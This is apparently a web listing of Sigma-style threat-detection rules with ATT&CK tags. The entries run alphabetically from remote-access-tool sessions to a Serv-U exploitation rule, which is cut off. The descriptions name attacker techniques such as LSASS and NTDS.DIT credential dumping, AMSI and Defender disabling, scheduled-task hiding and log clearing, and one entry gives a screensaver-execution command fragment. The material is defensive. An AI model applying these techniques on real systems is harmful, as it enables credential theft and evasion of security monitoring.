Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Read More
Remote Access Tool - Team Viewer Session Started On Windows Host

Aug 12, 2024 · attack.initial-access attack.t1133 ·
Share on:

Detects the command line executed when TeamViewer starts a session started by a remote host. Once a connection has been started, an investigator can verify the connection details by viewing the "incoming_connections.txt" log file in the TeamViewer folder.

Read More
Remote Access Tool - UltraViewer Execution

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
Remote Access Tool Services Have Been Installed - System

Aug 12, 2024 · attack.persistence attack.t1543.003 attack.t1569.002 ·
Share on:

Detects service installation of different remote access tools software. These software are often abused by threat actors to perform

Read More
Remote Code Execute via Winrm.vbs

Aug 12, 2024 · attack.defense-evasion attack.t1216 ·
Share on:

Detects an attempt to execute code or create service on remote host via winrm.vbs.

Read More
Remote DCOM/WMI Lateral Movement

Aug 12, 2024 · attack.lateral-movement attack.t1021.003 attack.t1047 ·
Share on:

Detects remote RPC calls that performs remote DCOM operations. These could be abused for lateral movement via DCOM or WMI.

Read More
Remote DLL Load Via Rundll32.EXE

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects a remote DLL load event via "rundll32.exe".

Read More
Remote Encrypting File System Abuse

Aug 12, 2024 · attack.lateral-movement ·
Share on:

Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR

Read More
Remote Event Log Recon

Aug 12, 2024 · attack.discovery ·
Share on:

Detects remote RPC calls to get event log information via EVEN or EVEN6

Read More
Remote File Copy

Aug 12, 2024 · attack.command-and-control attack.lateral-movement attack.t1105 ·
Share on:

Detects the use of tools that copy files from or to remote systems

Read More
Remote File Download Via Desktopimgdownldr Utility

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects the desktopimgdownldr utility being used to download a remote file. An adversary may use desktopimgdownldr to download arbitrary files as an alternative to certutil.

Read More
Remote File Download Via Findstr.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.t1564.004 attack.t1552.001 attack.t1105 ·
Share on:

Detects execution of "findstr" with specific flags and a remote share path. This specific set of CLI flags would allow "findstr" to download the content of the file located on the remote share as described in the LOLBAS entry.

Read More
Remote LSASS Process Access Through Windows Remote Management

Aug 12, 2024 · attack.credential-access attack.execution attack.t1003.001 attack.t1059.001 attack.lateral-movement attack.t1021.006 attack.s0002 ·
Share on:

Detects remote access to the LSASS process via WinRM. This could be a sign of credential dumping from tools like mimikatz.

Read More
Remote PowerShell Session (PS Classic)

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.006 ·
Share on:

Detects remote PowerShell sessions

Read More
Remote PowerShell Session (PS Module)

Aug 12, 2024 · attack.execution attack.t1059.001 attack.lateral-movement attack.t1021.006 ·
Share on:

Detects remote PowerShell sessions

Read More
Remote PowerShell Session Host Process (WinRM)

Aug 12, 2024 · attack.execution attack.t1059.001 attack.t1021.006 ·
Share on:

Detects remote PowerShell sections by monitoring for wsmprovhost (WinRM host process) as a parent or child process (sign of an active PowerShell remote session).

Read More
Remote PowerShell Sessions Network Connections (WinRM)

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects basic PowerShell Remoting (WinRM) by monitoring for network inbound connections to ports 5985 OR 5986

Read More
Remote Printing Abuse for Lateral Movement

Aug 12, 2024 · attack.lateral-movement ·
Share on:

Detects remote RPC calls to possibly abuse remote printing service via MS-RPRN / MS-PAR

Read More
Remote Registry Lateral Movement

Aug 12, 2024 · attack.lateral-movement attack.t1112 ·
Share on:

Detects remote RPC calls to modify the registry and possible execute code

Read More
Remote Registry Recon

Aug 12, 2024 · attack.discovery ·
Share on:

Detects remote RPC calls to collect information

Read More
Remote Schedule Task Lateral Movement via ATSvc

Aug 12, 2024 · attack.lateral-movement attack.t1053 attack.t1053.002 ·
Share on:

Detects remote RPC calls to create or execute a scheduled task via ATSvc

Read More
Remote Schedule Task Lateral Movement via ITaskSchedulerService

Aug 12, 2024 · attack.lateral-movement attack.t1053 attack.t1053.002 ·
Share on:

Detects remote RPC calls to create or execute a scheduled task

Read More
Remote Schedule Task Lateral Movement via SASec

Aug 12, 2024 · attack.lateral-movement attack.t1053 attack.t1053.002 ·
Share on:

Detects remote RPC calls to create or execute a scheduled task via SASec

Read More
Remote Schedule Task Recon via AtScv

Aug 12, 2024 · attack.discovery ·
Share on:

Detects remote RPC calls to read information about scheduled tasks via AtScv

Read More
Remote Schedule Task Recon via ITaskSchedulerService

Aug 12, 2024 · attack.discovery ·
Share on:

Detects remote RPC calls to read information about scheduled tasks

Read More
Remote Server Service Abuse

Aug 12, 2024 · attack.lateral-movement ·
Share on:

Detects remote RPC calls to possibly abuse remote encryption service via MS-SRVS

Read More
Remote Server Service Abuse for Lateral Movement

Aug 12, 2024 · attack.lateral-movement attack.t1569.002 ·
Share on:

Detects remote RPC calls to possibly abuse remote encryption service via MS-EFSR

Read More
Remote Service Activity via SVCCTL Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.persistence attack.t1021.002 ·
Share on:

Detects remote service activity via remote access to the svcctl named pipe

Read More
Remote Task Creation via ATSVC Named Pipe

Aug 12, 2024 · attack.lateral-movement attack.persistence car.2013-05-004 car.2015-04-001 attack.t1053.002 ·
Share on:

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

Read More
Remote Task Creation via ATSVC Named Pipe - Zeek

Aug 12, 2024 · attack.lateral-movement attack.persistence car.2013-05-004 car.2015-04-001 attack.t1053.002 ·
Share on:

Detects remote task creation via at.exe or API interacting with ATSVC namedpipe

Read More
Remote Thread Created In KeePass.EXE

Aug 12, 2024 · attack.credential-access attack.t1555.005 ·
Share on:

Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity

Read More
Remote Thread Created In Shell Application

Aug 12, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects remote thread creation in command shell applications, such as "Cmd.EXE" and "PowerShell.EXE". It is a common technique used by malware, such as IcedID, to inject malicious code and execute it within legitimate processes.

Read More
Remote Thread Creation By Uncommon Source Image

Aug 12, 2024 · attack.privilege-escalation attack.defense-evasion attack.t1055 ·
Share on:

Detects uncommon processes creating remote threads.

Read More
Remote Thread Creation In Uncommon Target Image

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.003 ·
Share on:

Detects uncommon target processes for remote thread creation

Read More
Remote Thread Creation Ttdinject.exe Proxy

Aug 12, 2024 · attack.defense-evasion attack.t1127 ·
Share on:

Detects a remote thread creation of Ttdinject.exe used as proxy

Read More
Remote Utilities Host Service Install

Aug 12, 2024 · attack.persistence ·
Share on:

Detects Remote Utilities Host service installation on the target system.

Read More
RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects calls to the AtomicTestHarnesses "Invoke-ATHRemoteFXvGPUDisablementCommand" which is designed to abuse the "RemoteFXvGPUDisablement.exe" binary to run custom PowerShell code via module load-order hijacking.

Read More
Remotely Hosted HTA File Executed Via Mshta.EXE

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1218.005 ·
Share on:

Detects execution of the "mshta" utility with an argument containing the "http" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file

Read More
Removal Of AMSI Provider Registry Keys

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the deletion of AMSI provider registry key entries in HKLM\Software\Microsoft\AMSI. This technique could be used by an attacker in order to disable AMSI inspection.

Read More
Removal Of Index Value to Hide Schedule Task - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects when the "index" value of a scheduled task is removed or deleted from the registry. Which effectively hides it from any tooling such as "schtasks /query"

Read More
Removal of Potential COM Hijacking Registry Keys

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects any deletion of entries in ".*\shell\open\command" registry keys. These registry keys might have been used for COM hijacking activities by a threat actor or an attacker and the deletion could indicate steps to remove its tracks.

Read More
Removal Of SD Value to Hide Schedule Task - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Remove SD (Security Descriptor) value in \Schedule\TaskCache\Tree registry hive to hide schedule task. This technique is used by Tarrask malware

Read More
Remove Account From Domain Admin Group

Aug 12, 2024 · attack.impact attack.t1531 ·
Share on:

Adversaries may interrupt availability of system and network resources by inhibiting access to accounts utilized by legitimate users. Accounts may be deleted, locked, or manipulated (ex: changed credentials) to remove access to accounts.

Read More
Remove Exported Mailbox from Exchange Webserver

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit

Read More
Remove Immutable File Attribute

Aug 12, 2024 · attack.defense-evasion attack.t1222.002 ·
Share on:

Detects usage of the 'chattr' utility to remove immutable file attribute.

Read More
Remove Immutable File Attribute - Auditd

Aug 12, 2024 · attack.defense-evasion attack.t1222.002 ·
Share on:

Detects removing immutable file attribute.

Read More
Remove Scheduled Cron Task/Job

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects usage of the 'crontab' utility to remove the current crontab. This is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible

Read More
Renamed AutoHotkey.EXE Execution

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of a renamed autohotkey.exe binary based on PE metadata fields

Read More
Renamed BOINC Client Execution

Aug 12, 2024 · attack.defense-evasion attack.t1553 ·
Share on:

Detects the execution of a renamed BOINC binary.

Read More
Renamed BrowserCore.EXE Execution

Aug 12, 2024 · attack.t1528 attack.t1036.003 ·
Share on:

Detects process creation with a renamed BrowserCore.exe (used to extract Azure tokens)

Read More
Renamed CreateDump Utility Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory

Read More
Renamed FTP.EXE Execution

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "ftp.exe" binary based on the PE metadata fields

Read More
Renamed Gpg.EXE Execution

Aug 12, 2024 · attack.impact attack.t1486 ·
Share on:

Detects the execution of a renamed "gpg.exe". Often used by ransomware and loaders to decrypt/encrypt data.

Read More
Renamed Jusched.EXE Execution

Aug 12, 2024 · attack.execution attack.defense-evasion attack.t1036.003 ·
Share on:

Detects the execution of a renamed "jusched.exe" as seen used by the cobalt group

Read More
Renamed Mavinject.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.privilege-escalation attack.t1055.001 attack.t1218.013 ·
Share on:

Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag

Read More
Renamed MegaSync Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the execution of a renamed MegaSync.exe as seen used by ransomware families like Nefilim, Sodinokibi, Pysa, and Conti.

Read More
Renamed Microsoft Teams Execution

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the execution of a renamed Microsoft Teams binary.

Read More
Renamed Msdt.EXE Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detects the execution of a renamed "Msdt.exe" binary

Read More
Renamed NirCmd.EXE Execution

Aug 12, 2024 · attack.execution attack.t1059 attack.defense-evasion attack.t1202 ·
Share on:

Detects the execution of a renamed "NirCmd.exe" binary based on the PE metadata fields.

Read More
Renamed Office Binary Execution

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the execution of a renamed office binary

Read More
Renamed Plink Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 ·
Share on:

Detects the execution of a renamed version of the Plink binary

Read More
Renamed ProcDump Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036.003 ·
Share on:

Detects the execution of a renamed ProcDump executable. This often done by attackers or malware in order to evade defensive mechanisms.

Read More
Renamed PsExec Service Execution

Aug 12, 2024 · attack.execution ·
Share on:

Detects suspicious launch of a renamed version of the PSEXESVC service with, which is not often used by legitimate administrators

Read More
Renamed Remote Utilities RAT (RURAT) Execution

Aug 12, 2024 · attack.defense-evasion attack.collection attack.command-and-control attack.discovery attack.s0592 ·
Share on:

Detects execution of renamed Remote Utilities (RURAT) via Product PE header field

Read More
Renamed SysInternals DebugView Execution

Aug 12, 2024 · attack.resource-development attack.t1588.002 ·
Share on:

Detects suspicious renamed SysInternals DebugView execution

Read More
Renamed Sysinternals Sdelete Execution

Aug 12, 2024 · attack.impact attack.t1485 ·
Share on:

Detects the use of a renamed SysInternals Sdelete, which is something an administrator shouldn't do (the renaming)

Read More
Renamed Visual Studio Code Tunnel Execution

Aug 12, 2024 · attack.command-and-control attack.t1071.001 ·
Share on:

Detects renamed Visual Studio Code tunnel execution. Attackers can abuse this functionality to establish a C2 channel

Read More
Renamed Vmnat.exe Execution

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects renamed vmnat.exe or portable version that can be used for DLL side-loading

Read More
Renamed Whoami Execution

Aug 12, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects the execution of whoami that has been renamed to a different name to avoid detection

Read More
Renamed ZOHO Dctask64 Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1055.001 attack.t1202 attack.t1218 ·
Share on:

Detects a renamed "dctask64.exe" execution, a signed binary by ZOHO Corporation part of ManageEngine Endpoint Central. This binary can be abused for DLL injection, arbitrary command and process execution.

Read More
Replace Desktop Wallpaper by Powershell

Aug 12, 2024 · attack.impact attack.t1491.001 ·
Share on:

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper

Read More
Replace.exe Usage

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects the use of Replace.exe which can be used to replace file with another file

Read More
Replay Attack Detected

Aug 12, 2024 · attack.credential-access attack.t1558 ·
Share on:

Detects possible Kerberos Replay Attack on the domain controllers when "KRB_AP_ERR_REPEAT" Kerberos response is sent to the client

Read More
Request A Single Ticket via PowerShell

Aug 12, 2024 · attack.credential-access attack.t1558.003 ·
Share on:

utilize native PowerShell Identity modules to query the domain to extract the Service Principal Names for a single computer. This behavior is typically used during a kerberos or silver ticket attack. A successful execution will output the SPNs for the endpoint in question.

Read More
Response File Execution Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action.

Read More
Restore Public AWS RDS Instance

Aug 12, 2024 · attack.exfiltration attack.t1020 ·
Share on:

Detects the recovery of a new public database instance from a snapshot. It may be a part of data exfiltration.

Read More
Restricted Software Access By SRP

Aug 12, 2024 · attack.defense-evasion attack.t1072 ·
Share on:

Detects restricted access to applications by the Software Restriction Policies (SRP) policy

Read More
REvil Kaseya Incident Malware Patterns

Aug 12, 2024 · attack.execution attack.t1059 attack.g0115 detection.emerging-threats ·
Share on:

Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)

Read More
Rhadamanthys Stealer Module Launch Via Rundll32.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects the use of Rundll32 to launch an NSIS module that serves as the main stealer capability of Rhadamanthys infostealer, as observed in reports and samples in early 2023

Read More
Roles Activated Too Frequently

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies when the same privilege role has multiple activations by the same user.

Read More
Roles Activation Doesn't Require MFA

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies when a privilege role can be activated without performing mfa.

Read More
Roles Are Not Being Used

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies when a user has been assigned a privilege role and are not using that role.

Read More
Roles Assigned Outside PIM

Aug 12, 2024 · attack.t1078 attack.persistence attack.privilege-escalation ·
Share on:

Identifies when a privilege role assignment has taken place outside of PIM and may indicate an attack.

Read More
Root Account Enable Via Dsenableroot

Aug 12, 2024 · attack.t1078 attack.t1078.001 attack.t1078.003 attack.initial-access attack.persistence ·
Share on:

Detects attempts to enable the root account via "dsenableroot"

Read More
Root Certificate Installed - PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

Read More
Root Certificate Installed From Susp Locations

Aug 12, 2024 · attack.defense-evasion attack.t1553.004 ·
Share on:

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.

Read More
Rorschach Ransomware Execution Activity

Aug 12, 2024 · attack.execution attack.t1059.003 attack.t1059.001 attack.defense-evasion detection.emerging-threats ·
Share on:

Detects Rorschach ransomware execution activity

Read More
RottenPotato Like Attack Pattern

Aug 12, 2024 · attack.privilege-escalation attack.credential-access attack.t1557.001 ·
Share on:

Detects logon events that have characteristics of events generated during an attack with RottenPotato and the like

Read More
RTCore Suspicious Service Installation

Aug 12, 2024 · attack.persistence ·
Share on:

Detects the installation of RTCore service. Which could be an indication of Micro-Star MSI Afterburner vulnerable driver abuse

Read More
Ruby Inline Command Execution

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects execution of ruby using the "-e" flag. This is could be used as a way to launch a reverse shell or execute live ruby code.

Read More
Ruby on Rails Framework Exceptions

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects suspicious Ruby on Rails exceptions that could indicate exploitation attempts

Read More
Run Once Task Configuration in Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Rule to detect the configuration of Run Once registry key. Configured payload can be run by runonce.exe /AlternateShellStartup

Read More
Run Once Task Execution as Configured in Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

This rule detects the execution of Run Once task as configured in the registry

Read More
Run PowerShell Script from ADS

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detects PowerShell script execution from Alternate Data Stream (ADS)

Read More
Run PowerShell Script from Redirected Input Stream

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1059 ·
Share on:

Detects PowerShell script execution via input stream redirect

Read More
Rundll32 Execution With Uncommon DLL Extension

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects the execution of rundll32 with a command line that doesn't contain a common extension

Read More
Rundll32 Execution Without CommandLine Parameters

Aug 12, 2024 · attack.defense-evasion attack.t1202 ·
Share on:

Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity

Read More
Rundll32 Execution Without Parameters

Aug 12, 2024 · attack.lateral-movement attack.t1021.002 attack.t1570 attack.execution attack.t1569.002 ·
Share on:

Detects rundll32 execution without parameters as observed when running Metasploit windows/smb/psexec exploit module

Read More
Rundll32 InstallScreenSaver Execution

Aug 12, 2024 · attack.t1218.011 attack.defense-evasion ·
Share on:

An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver

Read More
Rundll32 Internet Connection

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 attack.execution ·
Share on:

Detects a rundll32 that communicates with public IP addresses

Read More
Rundll32 Registered COM Objects

Aug 12, 2024 · attack.privilege-escalation attack.persistence attack.t1546.015 ·
Share on:

load malicious registered COM objects

Read More
Rundll32 Spawned Via Explorer.EXE

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects execution of "rundll32.exe" with a parent process of Explorer.exe. This has been observed by variants of Raspberry Robin, as first reported by Red Canary.

Read More
RunDLL32 Spawning Explorer

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way

Read More
Rundll32 UNC Path Execution

Aug 12, 2024 · attack.defense-evasion attack.execution attack.t1021.002 attack.t1218.011 ·
Share on:

Detects rundll32 execution where the DLL is located on a remote location (share)

Read More
Running Chrome VPN Extensions via the Registry 2 VPN Extension

Aug 12, 2024 · attack.persistence attack.t1133 ·
Share on:

Running Chrome VPN Extensions via the Registry install 2 vpn extension

Read More
SafeBoot Registry Key Deleted Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects execution of "reg.exe" commands with the "delete" flag on safe boot registry keys. Often used by attacker to prevent safeboot execution of security products

Read More
SAM Registry Hive Handle Request

Aug 12, 2024 · attack.discovery attack.t1012 attack.credential-access attack.t1552.002 ·
Share on:

Detects handles requested to SAM registry hive

Read More
SAML Token Issuer Anomaly

Aug 12, 2024 · attack.t1606 attack.credential-access ·
Share on:

Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns

Read More
Scheduled Cron Task/Job - Linux

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.003 ·
Share on:

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

Read More
Scheduled Cron Task/Job - MacOs

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.003 ·
Share on:

Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.

Read More
Scheduled Task Creation Via Schtasks.EXE

Aug 12, 2024 · attack.execution attack.persistence attack.privilege-escalation attack.t1053.005 attack.s0111 car.2013-08-001 stp.1u ·
Share on:

Detects the creation of scheduled tasks by user accounts via the "schtasks" utility.

Read More
Scheduled Task Executed From A Suspicious Location

Aug 12, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Detects the execution of Scheduled Tasks where the Program being run is located in a suspicious location or it's an unusale program to be run from a Scheduled Task

Read More
Scheduled Task Executed Uncommon LOLBIN

Aug 12, 2024 · attack.persistence attack.t1053.005 ·
Share on:

Detects the execution of Scheduled Tasks where the program being run is located in a suspicious location or where it is an unusual program to be run from a Scheduled Task

Read More
Scheduled Task Executing Encoded Payload from Registry

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtask that potentially executes a base64 encoded payload stored in the Windows Registry using PowerShell.

Read More
Scheduled Task Executing Payload from Registry

Aug 12, 2024 · attack.execution attack.persistence attack.t1053.005 attack.t1059.001 ·
Share on:

Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.

Read More
Scheduled Task/Job At

Aug 12, 2024 · attack.persistence attack.t1053.002 ·
Share on:

Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code

Read More
Scheduled TaskCache Change by Uncommon Program

Aug 12, 2024 · attack.persistence attack.t1053 attack.t1053.005 ·
Share on:

Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious

Read More
Schtasks From Suspicious Folders

Aug 12, 2024 · attack.execution attack.t1053.005 ·
Share on:

Detects scheduled task creations that have suspicious action command and folder combinations

Read More
SCM Database Handle Failure

Aug 12, 2024 · attack.discovery attack.t1010 ·
Share on:

Detects non-system users failing to get a handle of the SCM database.

Read More
SCM Database Privileged Operation

Aug 12, 2024 · attack.privilege-escalation attack.t1548 ·
Share on:

Detects non-system users performing privileged operation os the SCM database

Read More
SCR File Write Event

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example.

Read More
Screen Capture - macOS

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects attempts to use screencapture to collect macOS screenshots

Read More
Screen Capture Activity Via Psr.EXE

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects execution of Windows Problem Steps Recorder (psr.exe), a utility used to record the user screen and clicks.

Read More
Screen Capture with Import Tool

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.

Read More
Screen Capture with Xwd

Aug 12, 2024 · attack.collection attack.t1113 ·
Share on:

Detects adversary creating screen capture of a full with xwd. Highly recommended using rule on servers, due high usage of screenshot utilities on user workstations

Read More
ScreenConnect - SlashAndGrab Exploitation Indicators

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects indicators of exploitation by threat actors during exploitation of the "SlashAndGrab" vulnerability related to ScreenConnect as reported Team Huntress

Read More
ScreenConnect Temporary Installation Artefact

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Read More
ScreenConnect User Database Modification

Aug 12, 2024 · attack.persistence cve.2024-1709 ·
Share on:

Detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions.

Read More
ScreenConnect User Database Modification - Security

Aug 12, 2024 · attack.defense-evasion cve.2024-1709 ·
Share on:

This detects file modifications to the temporary xml user database file indicating local user modification in the ScreenConnect server. This will occur during exploitation of the ScreenConnect Authentication Bypass vulnerability (CVE-2024-1709) in versions <23.9.8, but may also be observed when making legitimate modifications to local users or permissions. This requires an Advanced Auditing policy to log a successful Windows Event ID 4663 events and with a SACL set on the directory.

Read More
ScreenSaver Registry Key Set

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 ·
Share on:

Detects registry key established after masqueraded .scr file execution using Rundll32 through desk.cpl

Read More
Script Event Consumer Spawning Process

Aug 12, 2024 · attack.execution attack.t1047 ·
Share on:

Detects a suspicious child process of Script Event Consumer (scrcons.exe).

Read More
Script Interpreter Execution From Suspicious Folder

Aug 12, 2024 · attack.execution attack.t1059 ·
Share on:

Detects a suspicious script execution in temporary folders or folders accessible by environment variables

Read More
Scripted Diagnostics Turn Off Check Enabled - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects enabling TurnOffCheck which can be used to bypass defense of MSDT Follina vulnerability

Read More
Scripting/CommandLine Process Spawned Regsvr32

Aug 12, 2024 · attack.defense-evasion attack.t1218.010 ·
Share on:

Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.

Read More
Sdclt Child Processes

Aug 12, 2024 · attack.privilege-escalation attack.t1548.002 ·
Share on:

A General detection for sdclt spawning new processes. This could be an indicator of sdclt being used for bypass UAC techniques.

Read More
Security Eventlog Cleared

Aug 12, 2024 · attack.defense-evasion attack.t1070.001 car.2016-04-002 ·
Share on:

One of the Windows Eventlogs has been cleared. e.g. caused by "wevtutil cl" command execution

Read More
Security Privileges Enumeration Via Whoami.EXE

Aug 12, 2024 · attack.privilege-escalation attack.discovery attack.t1033 ·
Share on:

Detects a whoami.exe executed with the /priv command line flag instructing the tool to show all current user privileges. This is often used after a privilege escalation attempt.

Read More
Security Service Disabled Via Reg.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects execution of "reg.exe" to disable security services such as Windows Defender.

Read More
Security Software Discovery - Linux

Aug 12, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects usage of system utilities (only grep and egrep for now) to discover security software discovery

Read More
Security Software Discovery - MacOs

Aug 12, 2024 · attack.discovery attack.t1518.001 ·
Share on:

Detects usage of system utilities (only grep for now) to discover security software discovery

Read More
Security Support Provider (SSP) Added to LSA Configuration

Aug 12, 2024 · attack.persistence attack.t1547.005 ·
Share on:

Detects the addition of a SSP to the registry. Upon a reboot or API call, SSP DLLs gain access to encrypted and plaintext passwords stored in Windows.

Read More
Self Extracting Package Creation Via Iexpress.EXE From Potentially Suspicious Location

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects the use of iexpress.exe to create binaries via Self Extraction Directive (SED) files located in potentially suspicious locations. This behavior has been observed in-the-wild by different threat actors.

Read More
Sensitive File Access Via Volume Shadow Copy Backup

Aug 12, 2024 · attack.impact attack.t1490 ·
Share on:

Detects a command that accesses the VolumeShadowCopy in order to extract sensitive files such as the Security or SAM registry hives or the AD database (ntds.dit)

Read More
Sensitive File Dump Via Wbadmin.EXE

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.

Read More
Sensitive File Recovery From Backup Via Wbadmin.EXE

Aug 12, 2024 · attack.credential-access attack.t1003.003 ·
Share on:

Detects the dump of highly sensitive files such as "NTDS.DIT" and "SECURITY" hive. Attackers can leverage the "wbadmin" utility in order to dump sensitive files that might contain credential or sensitive information.

Read More
Serv-U Exploitation CVE-2021-35211 by DEV-0322

Aug 12, 2024 · attack.persistence attack.t1136.001 cve.2021-35211 detection.emerging-threats ·
Share on:

